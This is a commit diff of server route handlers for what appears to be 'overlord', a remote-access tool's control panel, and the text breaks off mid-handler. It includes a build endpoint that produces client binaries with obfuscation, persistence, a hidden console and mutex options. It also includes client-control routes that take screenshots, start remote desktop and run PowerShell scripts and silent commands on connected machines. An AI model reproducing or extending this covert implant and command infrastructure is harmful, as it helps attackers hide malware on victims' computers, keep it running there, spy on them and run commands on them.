inital commit
This commit is contained in:
@@ -0,0 +1,43 @@
|
||||
import path from "path";
|
||||
|
||||
type AssetsRouteDeps = {
|
||||
PUBLIC_ROOT: string;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
export async function handleAssetsRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: AssetsRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) {
|
||||
return null;
|
||||
}
|
||||
|
||||
let decodedPath = url.pathname;
|
||||
try {
|
||||
decodedPath = decodeURIComponent(url.pathname);
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (decodedPath.includes("\u0000")) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets");
|
||||
const relativePath = decodedPath.replace(/^\/assets\//, "");
|
||||
const resolvedPath = path.resolve(assetsRoot, relativePath);
|
||||
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
|
||||
|
||||
if (!resolvedPath.startsWith(rootWithSep)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(resolvedPath);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) });
|
||||
}
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import {
|
||||
authenticateRequest,
|
||||
authenticateUser,
|
||||
extractTokenFromRequest,
|
||||
generateToken,
|
||||
getUserFromRequest,
|
||||
revokeToken,
|
||||
} from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import {
|
||||
isRateLimited,
|
||||
recordFailedAttempt,
|
||||
recordSuccessfulAttempt,
|
||||
} from "../../rateLimit";
|
||||
import { getUserById } from "../../users";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
export async function handleAuthRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "POST" && url.pathname === "/api/login") {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
const rateLimitCheck = isRateLimited(ip);
|
||||
if (rateLimitCheck.limited) {
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: "Rate limited",
|
||||
});
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
ok: false,
|
||||
error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`,
|
||||
}),
|
||||
{
|
||||
status: 429,
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Retry-After": String(rateLimitCheck.retryAfter),
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
try {
|
||||
const body = await req.json();
|
||||
const username = body?.user || "";
|
||||
const password = body?.pass || "";
|
||||
|
||||
const user = await authenticateUser(username, password);
|
||||
|
||||
if (user) {
|
||||
const token = await generateToken(user);
|
||||
|
||||
logger.info(
|
||||
`[auth] User ${user.username} logged in. must_change_password =`,
|
||||
user.must_change_password,
|
||||
`(type: ${typeof user.must_change_password})`,
|
||||
);
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.LOGIN,
|
||||
success: true,
|
||||
});
|
||||
|
||||
recordSuccessfulAttempt(ip);
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
ok: true,
|
||||
token,
|
||||
user: {
|
||||
username: user.username,
|
||||
role: user.role,
|
||||
id: user.id,
|
||||
mustChangePassword: Boolean(user.must_change_password),
|
||||
},
|
||||
}),
|
||||
{
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
recordFailedAttempt(ip);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username,
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: "Invalid credentials",
|
||||
});
|
||||
} catch (error) {
|
||||
logger.error("[auth] Login error:", error);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGIN_FAILED,
|
||||
success: false,
|
||||
errorMessage: String(error),
|
||||
});
|
||||
}
|
||||
|
||||
return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/logout") {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
const user = await getUserFromRequest(req);
|
||||
const token = extractTokenFromRequest(req);
|
||||
|
||||
if (token) {
|
||||
revokeToken(token);
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user?.username || "unknown",
|
||||
ip,
|
||||
action: AuditAction.LOGOUT,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return new Response(JSON.stringify({ ok: true }), {
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/auth/me") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
const dbUser = getUserById(user.userId);
|
||||
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
username: user.username,
|
||||
role: user.role,
|
||||
userId: user.userId,
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
}),
|
||||
{
|
||||
headers: { "Content-Type": "application/json" },
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
createAutoScript,
|
||||
deleteAutoScript,
|
||||
listAutoScripts,
|
||||
type AutoScriptTrigger,
|
||||
updateAutoScript,
|
||||
} from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
export async function handleAutoScriptsRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/auto-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
return Response.json({ items: listAutoScripts() });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const name = String(body?.name || "").trim();
|
||||
const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger;
|
||||
const script = String(body?.script || "");
|
||||
const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
|
||||
const enabled = typeof body?.enabled === "boolean" ? body.enabled : true;
|
||||
|
||||
if (!name) {
|
||||
return Response.json({ error: "Name is required" }, { status: 400 });
|
||||
}
|
||||
if (!script.trim()) {
|
||||
return Response.json({ error: "Script is required" }, { status: 400 });
|
||||
}
|
||||
if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
|
||||
? scriptTypeRaw
|
||||
: "powershell";
|
||||
|
||||
const item = createAutoScript({
|
||||
id: uuidv4(),
|
||||
name,
|
||||
trigger: triggerRaw,
|
||||
script,
|
||||
scriptType,
|
||||
enabled,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, item });
|
||||
}
|
||||
|
||||
const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/);
|
||||
if (autoScriptMatch && req.method === "PUT") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
|
||||
if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined;
|
||||
const scriptType = scriptTypeRaw
|
||||
? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
|
||||
? scriptTypeRaw
|
||||
: "powershell"
|
||||
: undefined;
|
||||
|
||||
const updated = updateAutoScript(autoScriptMatch[1], {
|
||||
name: body?.name ? String(body.name).trim() : undefined,
|
||||
trigger: triggerRaw as AutoScriptTrigger | undefined,
|
||||
script: body?.script ? String(body.script) : undefined,
|
||||
scriptType,
|
||||
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
|
||||
});
|
||||
|
||||
if (!updated) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, item: updated });
|
||||
}
|
||||
|
||||
if (autoScriptMatch && req.method === "DELETE") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
deleteAutoScript(autoScriptMatch[1]);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,295 @@
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as buildManager from "../../build/buildManager";
|
||||
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { logger } from "../../logger";
|
||||
import path from "path";
|
||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type BuildRouteDeps = {
|
||||
startBuildProcess: (buildId: string, config: any) => Promise<void>;
|
||||
sanitizeMutex: (value?: string) => string | undefined;
|
||||
allowedPlatforms: Set<string>;
|
||||
};
|
||||
|
||||
export async function handleBuildRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: BuildRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/build")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/build/start") {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const body = await req.json();
|
||||
const {
|
||||
platforms,
|
||||
serverUrl,
|
||||
rawServerList,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
} = body;
|
||||
|
||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||
return Response.json({ error: "No platforms specified" }, { status: 400 });
|
||||
}
|
||||
|
||||
let safeMutex: string | undefined;
|
||||
try {
|
||||
safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined;
|
||||
} catch (err: any) {
|
||||
return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 });
|
||||
}
|
||||
const safeDisableMutex = !!disableMutex;
|
||||
const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string");
|
||||
if (sanitizedPlatforms.length !== platforms.length) {
|
||||
return Response.json({ error: "Invalid platform entries" }, { status: 400 });
|
||||
}
|
||||
const allowedPlatforms = sanitizedPlatforms.filter((p: string) =>
|
||||
deps.allowedPlatforms.has(p),
|
||||
);
|
||||
if (allowedPlatforms.length === 0) {
|
||||
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
|
||||
}
|
||||
|
||||
const safeRawServerList = !!rawServerList;
|
||||
const safeServerUrl =
|
||||
typeof serverUrl === "string" && serverUrl.trim() !== ""
|
||||
? serverUrl.trim()
|
||||
: undefined;
|
||||
if (safeRawServerList) {
|
||||
if (!safeServerUrl) {
|
||||
return Response.json(
|
||||
{ error: "Raw server list requires a server URL" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
try {
|
||||
const parsed = new URL(safeServerUrl);
|
||||
if (parsed.protocol !== "https:") {
|
||||
return Response.json(
|
||||
{ error: "Raw server list URL must use https" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid raw server list URL" }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const buildId = uuidv4();
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
deps.startBuildProcess(buildId, {
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
mutex: safeMutex,
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
});
|
||||
|
||||
return Response.json({ buildId });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const builds = getAllBuilds();
|
||||
return Response.json({ builds });
|
||||
}
|
||||
|
||||
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
deleteBuild(buildId);
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Deleted build ${buildId}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
|
||||
if (!build) {
|
||||
return Response.json({ error: "Build not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`);
|
||||
|
||||
const stream = new ReadableStream({
|
||||
start(controller) {
|
||||
build.controllers.push(controller);
|
||||
logger.info(
|
||||
`[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`,
|
||||
);
|
||||
|
||||
const encoder = new TextEncoder();
|
||||
try {
|
||||
controller.enqueue(
|
||||
encoder.encode(
|
||||
`data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`,
|
||||
),
|
||||
);
|
||||
} catch (err) {
|
||||
logger.error(
|
||||
`[build:${buildId.substring(0, 8)}] Failed to send initial message:`,
|
||||
err,
|
||||
);
|
||||
}
|
||||
},
|
||||
cancel() {
|
||||
const index = build.controllers.indexOf(this as any);
|
||||
if (index > -1) {
|
||||
build.controllers.splice(index, 1);
|
||||
logger.info(
|
||||
`[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`,
|
||||
);
|
||||
}
|
||||
},
|
||||
});
|
||||
|
||||
return new Response(stream, {
|
||||
headers: {
|
||||
"Content-Type": "text/event-stream",
|
||||
"Cache-Control": "no-cache",
|
||||
Connection: "keep-alive",
|
||||
"X-Accel-Buffering": "no",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
|
||||
if (!build) {
|
||||
const dbBuild = getBuild(buildId);
|
||||
if (!dbBuild) {
|
||||
return Response.json({ error: "Build not found" }, { status: 404 });
|
||||
}
|
||||
return Response.json({
|
||||
id: dbBuild.id,
|
||||
status: dbBuild.status,
|
||||
startTime: dbBuild.startTime,
|
||||
expiresAt: dbBuild.expiresAt,
|
||||
files: dbBuild.files,
|
||||
});
|
||||
}
|
||||
|
||||
return Response.json({
|
||||
id: build.id,
|
||||
status: build.status,
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files,
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const rawName = url.pathname.split("/api/build/download/")[1] || "";
|
||||
let fileName = rawName;
|
||||
try {
|
||||
fileName = decodeURIComponent(rawName);
|
||||
} catch {
|
||||
return Response.json({ error: "Bad request" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (
|
||||
!fileName ||
|
||||
fileName.includes("\u0000") ||
|
||||
fileName.includes("/") ||
|
||||
fileName.includes("\\")
|
||||
) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const distRoot = path.resolve(rootDir, "dist-clients");
|
||||
const filePath = path.resolve(distRoot, fileName);
|
||||
const rootWithSep = distRoot.endsWith(path.sep)
|
||||
? distRoot
|
||||
: `${distRoot}${path.sep}`;
|
||||
|
||||
if (!filePath.startsWith(rootWithSep)) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(filePath);
|
||||
if (!(await file.exists())) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return new Response(file, {
|
||||
headers: {
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Disposition": `attachment; filename="${fileName}"`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
} catch (error) {
|
||||
if (error instanceof Response) {
|
||||
return error;
|
||||
}
|
||||
logger.error("[build] API error:", error);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import {
|
||||
banIp,
|
||||
deleteClientRow,
|
||||
getClientIp,
|
||||
listClients,
|
||||
setOnlineState,
|
||||
} from "../../db";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { requirePermission } from "../../rbac";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
reject: (error: any) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type ClientRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
};
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: ClientRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (
|
||||
!url.pathname.startsWith("/api/clients") &&
|
||||
!url.pathname.match(/^\/api\/clients\/.+\/command$/)
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients") {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
|
||||
const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
|
||||
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
|
||||
const sort = url.searchParams.get("sort") || "last_seen_desc";
|
||||
const statusFilter = url.searchParams.get("status") || "all";
|
||||
const osFilter = url.searchParams.get("os") || "all";
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/);
|
||||
if (req.method === "POST" && banMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = banMatch[1];
|
||||
const target = clientManager.getClient(targetId);
|
||||
const targetIp = target?.ip || getClientIp(targetId);
|
||||
if (!targetIp) {
|
||||
return Response.json({ error: "Client IP not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
|
||||
|
||||
if (target) {
|
||||
try {
|
||||
target.ws.close(4003, "banned");
|
||||
} catch {}
|
||||
setOnlineState(targetId, false);
|
||||
}
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: `Banned IP ${targetIp}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, ip: targetIp });
|
||||
}
|
||||
|
||||
const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
|
||||
if (req.method === "POST" && thumbnailMatch) {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const clientId = thumbnailMatch[1];
|
||||
const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails");
|
||||
markThumbnailRequested(clientId);
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target?.online) {
|
||||
const commandId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "screenshot",
|
||||
id: commandId,
|
||||
payload: { mode: "notification", allDisplays: true },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const success = generateThumbnail(clientId);
|
||||
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "POST") {
|
||||
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
|
||||
if (cmdMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = cmdMatch[1];
|
||||
const target = clientManager.getClient(targetId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
try {
|
||||
const body = await req.json();
|
||||
const action = body?.action;
|
||||
|
||||
let success = true;
|
||||
if (action === "ping") {
|
||||
const nonce = Date.now() + Math.floor(Math.random() * 1000);
|
||||
target.lastPingSent = Date.now();
|
||||
target.lastPingNonce = nonce;
|
||||
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
|
||||
for (let i = 0; i < count; i++) {
|
||||
}
|
||||
} else if (action === "disconnect") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
|
||||
metrics.recordCommand("disconnect");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.DISCONNECT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "reconnect") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
|
||||
metrics.recordCommand("reconnect");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.RECONNECT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "screenshot") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "screenshot",
|
||||
id: uuidv4(),
|
||||
payload: { mode: "notification", allDisplays: true },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SCREENSHOT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "desktop_start") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
|
||||
metrics.recordCommand("desktop_start");
|
||||
} else if (action === "script_exec") {
|
||||
const scriptContent = body?.script || "";
|
||||
const scriptType = body?.scriptType || "powershell";
|
||||
const cmdId = uuidv4();
|
||||
|
||||
const resultPromise = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
reject(new Error("Script execution timed out after 5 minutes"));
|
||||
}, 5 * 60 * 1000);
|
||||
|
||||
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "script_exec",
|
||||
id: cmdId,
|
||||
payload: { script: scriptContent, type: scriptType },
|
||||
}));
|
||||
|
||||
metrics.recordCommand("script_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SCRIPT_EXECUTE,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: `script_exec (${scriptType})`,
|
||||
});
|
||||
|
||||
try {
|
||||
const result = await resultPromise;
|
||||
return Response.json(result);
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message }, { status: 500 });
|
||||
}
|
||||
} else if (action === "silent_exec") {
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const command = typeof body?.command === "string" ? body.command.trim() : "";
|
||||
const args = typeof body?.args === "string" ? body.args : "";
|
||||
const cwd = typeof body?.cwd === "string" ? body.cwd : "";
|
||||
|
||||
